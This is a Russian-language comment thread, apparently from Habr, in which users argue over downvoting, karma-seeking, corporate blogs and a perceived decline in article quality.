grey_rat
25.01.2022 20:39+3Меня интересует другое. Когда-то я поднимал вопрос голосования за статью, что бы не было возможности поставить + или — без её открытия. Сейчас оно так и сделано. Меня тогда удивляло, что наверно под всеми моими статьями сразу шла череда минусов, а затем только плюсы.
Недавно опубликовал ещё одну статью, и результат тот же, первые два минуса и остальные 19 плюсов. Уж очень странно это выглядит. Типа такого: вот чел написал статью, она может отодвинуть нашу на вторую, пятую, десятую… страницу из топа, давай ему сразу минусов пару штук поставим, а там уже и не важно будет.
Ну другого объяснения у меня просто нет. Если бы эта была случайность, она бы была редка, но нет же.
ИМХО, на хабре существуют корпоративные подковёрные войны.
zetyquickly
25.01.2022 21:53+5Всем привет. Я тоже пишу статьи для Отуса, и не знал, что существует такая проблема. Этим комментарием хочу обратить внимание, что не всё в этом блоге бездушно и бессмысленно. Я над своими темами и текстами стараюсь :)
lagudal
26.01.2022 10:23+1«А Васька слушает да ест.» Ну или против лома нет приема?
Пока тут 140 комментариев писали, чувак выдал на гора новый перевод
Gedeonych
Я прекрасно понимаю какую реакцию вызовет мой каммент и тем не менее я задам вопрос.
А чем минусаторы отличаются от кармодрочеров?
gecube
тем, что мы должны спасти мир от Макса Рокатанского... это же невыносимо!
Gedeonych
Спасибо. Улыбаюсь. Первый раз за 10 лет захотелось оценить (в плюс). Но ....эммм. Вобщем это сложный момент.
bopoh13
Areso
Целью.
У т.н. кармодрочеров цель - максимальные значения в карме. Просто и понятно. По этому принципу работают инкрементальные игры.
У минусаторов цель - быть великим чистильщиком, судьей Дрэддом, спасителем и т.п. Ну и выжигают они, конечно, то, что им не нравится с точке зрения их личных убеждений.
В общем, разные потребности у людей.
nochkin
Добавлю к комментам выше:
Кармодрочеры работают только на себя, а минусаторы работают ради общего вселенского счастья.
Popadanec
Нет, кармадрочеры никому не мешают, живут теша своё ЧСВ, а минусаторы исходя из своей личной точки зрения(довольно часто совершенно неправильной, не соблюдая рекомендаций), минусуют всех кого не хотят видеть на данном ресурсе. Не помогают ни публичные, ни тихие правки системы кармы.
gecube
т.е. Вы запрещаете кому-то НЕ хотеть кого-то другого видеть на данном ресурсе? Ну, ок, это очень демократично...
Popadanec
Я никому ничего не запрещаю, мне уже давно всё равно.
Но я всё же считаю что выпиливать человека с ресурса, только потому что он лично кому то не нравится, в корне не правильно. Это отрицательный отбор, где в конечном счёте установится одна точка зрения. И судя по тому набору низкокачественных публикаций что я вижу, этот отбор побеждает.
gecube
Где-то в Вашей логике косяк. Потому что сейчас нельзя заминусовать какого-то автора, только если не навалиться толпой, а это требует координации. А минусы в статьи и комменты на карму не влияют. Думаете, что недостаточно защитных механизмов? Так может все ровно наоборот - из-за того, что тут набор низкокачественных публикаций (не всегда, кстати, есть и нормальные), то "авторы валят"?
Popadanec
Да да, то то ввели ограничение на количество и частоту минусов с полной блокировкой оценок на сутки, ввели возможность голосовать только положительно всем у кого положительная карма плюс куча правил и рекомендаций связанных с кармой. А авторы корп блогов предлагают пользователям поднять их карму за публикацию.
Куча интересных людей устали с ней бороться и либо ушли либо примкнули к какому либо корп блогу чтобы поднимать ему рейтинг за деньги.
nochkin
Почему же "нет"? Это как раз никак не противоречит с моим замечанием.
А по поводу минусаторов -- когда один минусатор, то он никаких повреждений не сделает. А вот если их много, то тогда результат проявится. Это и есть "общественное мнение", которое регулирует качество материала на сайте.
Личная точка зрения не может быть абсолютно неправильной, на то она и личная точка зрения. Если она не совпадает с Вашей личной точной зрения, то это не означает, что чужая сразу вся такая неправильная.
Popadanec
То то я и смотрю, качество публикаций с каждым годом всё хуже и хуже. Люди уходят или продаются корп. блогам.
tyomitch
В предыдущем кармасраче вы признавали было, что у авторов публикаций карма растёт, а минусы, по вашему мнению, преобладают у комментаторов без публикаций, таких как вы сами.
Каким же образом на качество публикаций может влиять предполагаемый вами уход с хабра «уставших бороться с кармой», т.е. комментаторов без публикаций?
Popadanec
Уходят не только акки без публикаций, но и с ними.
Не так давно аккам без публикаций разрешили голосовать положительно, совсем недавно отрицательно, но только под публикацией и с указанием причины, буквально сегодня тихо убрали дробную карму(обещали ещё месяц назад), которая тоже создавала проблемы.
Если вы не заметили, то даёт оценку и пишет комменты буквально несколько процентов от прочитавших публикацию. И именно из этой активной прослойки идёт выселение.